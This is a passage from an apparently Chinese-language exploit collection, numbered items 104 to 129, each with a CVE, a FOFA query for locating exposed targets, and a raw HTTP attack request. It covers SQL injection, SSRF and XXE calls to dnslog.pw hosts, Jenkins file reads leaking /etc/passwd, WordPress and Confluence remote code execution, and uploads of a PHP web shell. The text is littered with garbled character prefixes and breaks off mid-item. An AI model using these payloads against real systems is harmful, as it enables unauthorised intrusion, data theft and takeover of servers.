- e5 `5 i+ y5 m7 x9 ]5 e$ R7 b<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
6 G" H# _& r6 N& ~& G! Q: O4 e
& {! F# v# `% B, o! g0 i
3 O3 V# t9 C! G, a7 E- c104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
" M, Y7 h; c8 h; o/ M' xCVE-2024-0569
) o; Q9 L' y7 j, R& K! MFOFA：title="TOTOLINK"
9 L' e# D9 B$ ]. Y2 m1 hPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
$ Z9 z" G; q" S$ W  @Content-Length:41
4 D# E: a# K) jAccept:application/json,text/javascript，*/*;q=0.01
! v# }5 G- F9 r7 i4 a, ~X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
' O8 C7 u/ l$ q' H, iOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
$ ]/ J; {# n; i- N5 n0 I5 n4 a, V
{
0 i& T% S+ ^# l) Z"topicurl":"getSysStatusCfg",
"token":""
3 q, I& z, U. R2 c# s6 d% g- _3 D& z/ {}
0 @2 G5 W+ o& w% c: O9 D
105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
2 U" ?7 z* S; I8 _3 z/ }% ?. |http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
( i: w" C6 d  j1 @8 LHost: your-ip
* H- {  h, g$ G& f7 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
1 W. T' U: k! {. u) i% |6 PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


4 S6 i* P0 @/ E107. SpringBlade tenant/list SQL 注入
- T. i& a  @1 v- ^) LFOFA：body="https://bladex.vip"
7 o. d! @' b0 b1 p3 n9 \GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
2 M" B2 i7 ~4 }- JHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 u/ m$ I8 U; Y: }Blade-Auth:替换为自己的
Connection: close
: s8 d8 K5 @5 N2 L9 m8 n

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
- }: I; ^; p3 r* T. {- m# g* G. cFOFA："dtale/static/images/favicon.png"
  y1 d  ~9 b) D; AGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
" v/ R, A6 N4 I0 l4 U0 S( GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
+ c- q0 _+ {* y+ d2 D- `POST /cli?remoting=false HTTP/1.1
# ~( l- q3 P5 M: g3 w# X  cHost:
; `8 ]: E1 T8 uContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
. }: W6 Y: l1 x" g! l0 ~& YSide: upload
9 k( M* V1 d+ d& xConnection: keep-alive
$ h$ H! _8 \0 f5 b" l# [Content-Length: 163
6 O6 x! p3 m3 i$ a  f- ~1 N1 w- R: g# t
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
1 Z/ z+ `3 E$ E& o

8 `* A# d6 i) b( z9 }POST /cli?remoting=false HTTP/1.1
Host:
0 Y$ U5 L* Z$ c* X% v4 D" E9 U, SSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
1 C. T  B- m2 KContent-Type: application/x-www-form-urlencoded
4 R, X' Z* U4 a) sContent-Length: 0
$ E- f( m3 Q2 _) b  b

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
. `7 v7 J6 t4 X$ A4 ejava -jar jenkins-cli.jar help
) q9 F( g" N5 ]5 x* V- n/ I$ d[COMMAND]
1 r% R1 k! \# [6 ^2 V) lLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
1 R4 X5 {/ |) c$ }( b
& w6 m) x) L, K& v0 G* Y
; f- [+ A- k1 O3 ]" O6 d) Y110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
9 o* i# ?9 R/ x% m, y3 ]FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
* [4 i6 D3 D+ x6 |& x0 CGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
" ~5 b" y( R( YHost: 192.168.40.130:8000
7 F& C/ E6 w3 Q4 E) j4 xUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
1 n2 \. r2 U1 P5 m1 ]Connection: close
# I9 q; B; V9 [0 BAccept: */*
Accept-Language: en
0 E& V! B' Z$ a" n$ i: {Accept-Encoding: gzip
5 _( @. Q: x0 h$ X* Z6 ]5 u

3 V: U% N6 x$ \111. WordPress Plugin HTML5 Video Player SQL注入
" j  f, j/ Y2 Y8 U- N0 VCVE-2024-1061
. [0 Z( C$ a& o( j, v) ?0 @FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
. |% [! Q8 L) }( d; k0 GHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 |3 h' {5 S" a" a2 lConnection: close
( g3 S4 D+ r$ ?Accept: */*
Accept-Language: en
# S; N. i* s% j8 |5 Q4 U+ qAccept-Encoding: gzip


: b6 Q4 ~' X* R0 L5 w112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
7 n4 ^8 @* h4 ?" f2 ^
$ }8 u3 b, Y$ ]% o- G3 P- W
/ E# t" B: k4 Z, H113. WordPress Automatic 插件任意文件下载和SSRF
3 w, ~0 E0 \3 }$ l6 E3 t1 YCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
/ v) r4 \( `# L; K( f3 rGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
3 z2 N8 \6 e% J2 c9 N+ t0 h, lUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
6 C/ W" M, ?. `1 _Connection: close
Accept: */*
7 n9 I7 y0 E8 d% {/ E1 g9 u8 jAccept-Language: en
) e; l8 K; Y) Y1 Z( [Accept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
; {" p; W0 \. T/ ^3 QAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
' T5 H, A  h7 e. N& b+ h, C+ U
* ]& E2 o& ]3 C) Y! {5 G! Z
  h1 ?# N; b4 g2 W) x) b( ?115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
4 O3 Z8 v6 P  v1 g第一步，获取网站的nonce值
( Z4 Y0 p* V( ]- g* L0 S9 bGET / HTTP/1.1
Host: x.x.x.x
) f! x3 a0 Y; J& uUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
* E$ z3 g) h8 y1 X( b/ YAccept-Encoding: gzip
6 e+ Y3 r6 I+ O& i* o$ n& B
$ Y( ?* D$ h% v, C% [9 e
第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
9 _( l+ _6 \8 {1 w9 @0 N- k/ l
* o+ h0 W' P* [) d3 D+ x& j& B{
"postId": "1",
9 ~9 K" _" ^! K, [; V0 G  "nonce": "第一步获得的值",
2 q- P5 P- O. A: H; s) x  "element": {
) Y$ f. K% {* X    "name": "container",
    "settings": {
      "hasLoop": "true",
4 b9 _: z3 J8 Y      "query": {
        "useQueryEditor": true,
9 V/ \8 [: `: U5 }( T7 J$ d8 o- [* C        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
  B! I# d! t! ]        "objectType": "post"
      }
    }
  }
8 ?+ e# I' B3 x6 G$ O3 _7 E9 Z}

" K. g9 S6 F. b8 U
# o7 W3 C& M8 r1 @4 f% N116. wordpress js-support-ticket文件上传
6 g! U7 v) K8 ?7 t! Y. N$ H3 u/ }2 eFOFA：body="wp-content/plugins/js-support-ticket"
- G, [4 B1 e# H& f9 r0 W4 c, D" yPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
( [$ j1 C, g- U/ oHost:
2 g0 @( ~7 h+ m' OContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

$ B5 p; R6 o4 Z1 ?: L- S& X( E----------767099171
, w9 t* I7 R- r+ f$ BContent-Disposition: form-data; name="action"
3 d5 [, |+ Z9 e7 B( Yconfiguration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
2 o5 J5 F) m' @7 w( h9 l# mjssupportticket
----------767099171
3 K1 |( z  V, W$ [- f8 [. SContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
/ p+ [; n! I9 U' H+ R& e- e8 l: {: |; t----------767099171--
% h- G. z( U6 D' ~

( g8 {$ I5 u* m& F% X+ s117. WordPress LayerSlider插件SQL注入
( B1 r" \5 v  _, Lversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# T$ \/ f5 ~1 R' q+ W. O# @$ WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 f  [  |. D% @: W! ?Accept-Encoding: gzip, deflate, br
Connection: close
- B6 r4 w" Y0 F: Q( FUpgrade-Insecure-Requests: 1
) A, D$ g) ?% K$ `. A

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
4 \* v! O+ t/ q' b. c9 tCVE-2024-0939
8 |( u3 N' x) [' N: S  R7 Y, MFOFA：title="Smart管理平台"
1 z. M$ ^1 q( I% qPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
# O, P0 p* |) g7 g  sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
0 y+ S- `0 z0 R0 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( F( `! N9 U! `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 m: _) k1 i0 a; ^: FContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
' Q$ ^$ x5 q" F' D7 T8 }8 HReferer: https://192.168.40.130:8443/Tool/uploadfile.php
& v6 `7 w5 t) h. w8 z; m% N7 i4 s( eUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
- l3 |9 Y0 u8 K; r% c6 h/ JTe: trailers
Connection: close

-----------------------------13979701222747646634037182887
5 S4 u0 F( E* v; E+ D2 @2 F2 M5 rContent-Disposition: form-data; name="file_upload"; filename="contents.php"
* D4 Z2 A6 U. R3 N6 {+ OContent-Type: application/octet-stream
. M3 j, U2 N. X. j% O
<?php
system($_POST["passwd"]);
* ?, L& V0 g7 c?>
-----------------------------13979701222747646634037182887
2 I: L6 j  T2 h3 Y- Y) ^. VContent-Disposition: form-data; name="txt_path"

; ]' i+ o% E8 ?( P' Y) |/home/src.php
-----------------------------13979701222747646634037182887--


9 y9 x1 J; A) J9 ~" g访问/home/src.php
0 W" k) G! V0 N6 Z, M+ X5 p+ \8 x
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
; K% S. w2 J0 h/ DFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
" L: }1 l9 b, Q+ d* T; p& o( s- UPOST /sysmanage/sysmanageajax.php HTTP/1.11
  o) Q. G/ _& K2 z' kHost: x.x.x.x
8 I* H8 {* |4 a& U( @6 LCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
9 v5 F+ R. e/ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
( \- B9 [9 W5 ?* p2 tAccept: */*
- ^2 |: h/ p1 Q8 V0 {2 u  mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 C( F4 f7 h6 v1 E& F' R, k8 @# sAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
( D3 e6 ~2 ^( ]  P: q9 i( uReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
, K- A3 |( {5 aSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
3 o. O7 F$ s( b0 ?; KX-Originating-Ip: 1.1.1.1
- U3 z  J3 U3 p' ^. |0 a9 J/ ZX-Remote-Ip: 1.1.1.1
0 W" t. u" \0 e% i! a) O. BX-Remote-Addr: 1.1.1.1
Te: trailers
! Y* o) [* y: \) RConnection: close
) S! I8 F4 M- V) j, y
, B( D4 {0 ^/ g  i, Nsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
5 ?) p1 }: J4 b3 @
0 F) X/ p; p" H: z9 J+ n, J$ {7 V% X
6 Z7 j2 \9 _. D0 a120. 北京百绰智能S40管理平台导入web.php任意文件上传
! E( y" U+ J- A" I: W0 k* ]3 L  yCVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
+ W8 d! h6 i7 j! L+ V, _Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
  S% g' G2 ?% ~9 N7 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! p9 P# Y, o7 I2 u  o9 uAccept-Encoding: gzip, deflate
: L6 ?5 M8 j# X& vContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
* A. F" d) ]8 |; [2 Z& v6 `9 M. lContent-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
) f$ q! B7 H$ i3 I( J' i/ u7 uSec-Fetch-Dest: document
9 }" M4 i) \+ {% o4 g9 L+ L1 iSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
- t' C* ^/ Y8 G( v/ B) Q/ G: K( ]Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

( `  M5 W% U3 F# [<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

  {% V, o! ]% f, X1
+ O% s( l0 N* D% E$ K2 u% q1 I: ]-----------------------------42328904123665875270630079328
9 E: Y% J9 ]: M; h4 s. \  m. s6 ]4 nContent-Disposition: form-data; name="1_ck"

5 U% t7 J! Z7 I( {, x* _0 M7 Q1 ~1_radhttp
' F: z" |% u4 y; A-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
; h' J9 D& ~5 g8 I' E' F
' z# B! x9 g3 X0 h7 x/ Zimport
-----------------------------42328904123665875270630079328
( x8 O& e1 o, \9 z/ e0 X$ B2 h

6 [# q) U; ?1 d- R文件路径/upload/2.php
% |% a" R7 S' p' @6 z0 s3 |: P
  u! d& `; r2 Z& s, q121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
  u$ [" C4 i4 |4 v! O8 ^FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
" Z& h/ Q' c) OHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
. K; S) b, ~( j: R' A' g" a5 rUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, f" T8 o# f7 f( J0 Q# n, j' i4 wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  c8 T; E' ^+ D7 n! O* q& [Accept-Encoding: gzip, deflate
* j  o& E0 s8 {. j" ]' \# _/ vContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
* A2 p1 ^0 ~$ W1 sOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
$ d1 O, H/ \$ Q' FSec-Fetch-Mode: navigate
& H$ Z9 u. ]' R# B4 fSec-Fetch-Site: same-origin
7 @: l2 Z4 W% J8 r9 QSec-Fetch-User: ?1
Te: trailers
Connection: close
( |5 i- w1 T, F8 s9 S4 _
-----------------------------42328904123665875270630079328
+ G. o' Z( \9 u  X) hContent-Disposition: form-data; name="web_img"; filename="1.php"
6 D- R- u. X) v: L. C9 v( SContent-Type: application/octet-stream
. D- t  \2 p1 d0 R- A( k) P+ D
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
3 V, m$ B$ j! L, t9 D& M, ~Content-Disposition: form-data; name="id_type"
9 b) `4 J9 T: P4 U  `. e# w
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
! X; ^. ^! I' o. A
1_radhttp
, k# ~7 r) X) ]* ?" {8 m. [, f-----------------------------42328904123665875270630079328
4 Q& z# w4 `( I( {$ @Content-Disposition: form-data; name="hidwel"

$ B2 Z0 {* h: ~! Dset
-----------------------------42328904123665875270630079328


  B- @8 L( E  Z- T$ v) g: Z4 Bboot/web/upload/weblogo/1.php
9 O/ A) F9 |& o4 f0 {( T( L! `$ ]
+ p& ~7 J# r* n7 X& h* R0 X122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
; k3 d" ^# S. t0 [) L/ u( r" w其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
, j: ^- C/ u( C: QGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
% O# Y# U# I% D. vCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
6 L7 R! k$ l7 u4 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 ~. D% K6 w- h, mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
, N1 k- e- m+ f# j9 j; d5 ZSec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
. p; Z8 j- ]2 ?* aConnection: close
: h' m$ a! |6 t) P8 r% X/ r% R9 E* m0 ~8 A

9 P  V% G5 E+ Y4 d7 J# y2 Y123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
  S5 V) C% i& r6 K: O2 }: AHost: localhost:8090
9 j; R) \( L& n& w$ PAccept-Encoding: gzip, deflate, br
5 f1 D8 N$ {7 c. C8 _$ o6 bAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
2 j# j: I1 s5 x! HContent-Type: application/x-www-form-urlencoded
* q% O, ]6 q: [$ j% Q
* ?9 Y9 R/ U  r+ V9 Mlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
! k: B7 r4 C3 C  T: b' Q6 D! W

124. 湖南建研工程质量检测系统任意文件上传
5 ]! |8 I7 J, X4 P( uFOFA：body="/Content/Theme/Standard/webSite/login.css"
0 S, F8 L) s$ p% n: Y# g% y6 XPOST /Scripts/admintool?type=updatefile HTTP/1.1
4 L' o9 w4 M% y5 J/ w: k: I  K! N3 ~Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
8 k3 @  G7 z5 m9 P* t: D# ~2 UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ K8 T$ Z3 Q3 \) ZConnection: close
Content-Type: application/x-www-form-urlencoded
4 e/ l6 Q. u/ F6 ~5 x
: h9 V+ F2 M6 r& a9 afilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
" o1 e4 `1 K2 n! E0 ~
% v' t, {% u. e
http://192.168.40.130:8282/Scripts/abcgcg.aspx

# t$ M/ W9 V, k  a& ]/ r2 k125. ConnectWise ScreenConnect身份验证绕过
4 Z) K1 B- \: }* e7 K. d. cCVE-2024-1709
- J8 k# g. Y7 ~7 LFOFA：icon_hash="-82958153"
0 o7 ^5 R- r* `; p* hhttps://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
* _) D. n; z" l: upython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

, M" v, x; Y# }; x
+ T$ t* S8 e7 B5 s& S创建好用户后直接登录后台，可以执行系统命令。

. m% c5 m8 V$ x; H126. Aiohttp 路径遍历
" c4 f/ K$ w/ v4 I* dFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
1 C8 Q: K: n3 Q* f8 nHost: x.x.x.x
3 _2 [7 ?/ b4 `  C5 ?+ RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
0 _; C0 m! @) C/ L% D7 iConnection: close
Accept: */*
4 d# i3 V8 q! @! C5 ^Accept-Language: en
5 Q/ A: u. E; p0 KAccept-Encoding: gzip


+ I1 I* ?* |6 |& G0 u5 y127. 广联达Linkworks DataExchange.ashx XXE
" F' _9 R0 o1 W; a* N/ uFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
) q  [9 V) Q- e+ m; pHost: 192.168.40.130:8888
' _4 B% A. E; i& I1 I7 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
. e: r$ k) P2 A4 j8 [: a% h& IContent-Length: 415
6 M% z) C4 T1 b4 O3 T: r' u6 A5 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 _6 j! c4 _# k" s) E3 @Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
1 y" f& r" c  n) n4 [+ M9 DSec-Purpose: prefetch;prerender
( v3 A$ d" i, W6 z# B/ @: x
------WebKitFormBoundaryJGgV5l5ta05yAIe0
3 ~  C6 i0 d9 [% S, [# cContent-Disposition: form-data;name="SystemName"

BIM
3 \# c* @, n9 q8 I2 |------WebKitFormBoundaryJGgV5l5ta05yAIe0
: `( J6 p; Q( sContent-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
, c5 ]& k/ Z1 j: s) n. N; {+ E<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
& [1 p6 z1 }2 u, v  c3 A3 M]
( V; ]# r" s6 O8 y>
1 V1 A3 ]8 g7 K2 k5 q0 e$ n" D3 G<test>&t;</test>
: c, M/ j& z" u$ }  c7 _------WebKitFormBoundaryJGgV5l5ta05yAIe0--
2 J5 h/ Y( A+ Y: j4 p
4 ]( T  o/ ?/ ]
$ C, k# b$ \; F2 \+ r1 o! F
128. Adobe ColdFusion 反序列化
CVE-2023-38203
2 ~4 g" ~' e" Y9 p0 UAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
/ }# \& z& E) j! WFOFA：app="Adobe-ColdFusion"
PAYLOAD
# H: `8 `/ k" X1 V5 U
# K: ^3 Y$ D5 {% N# D129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
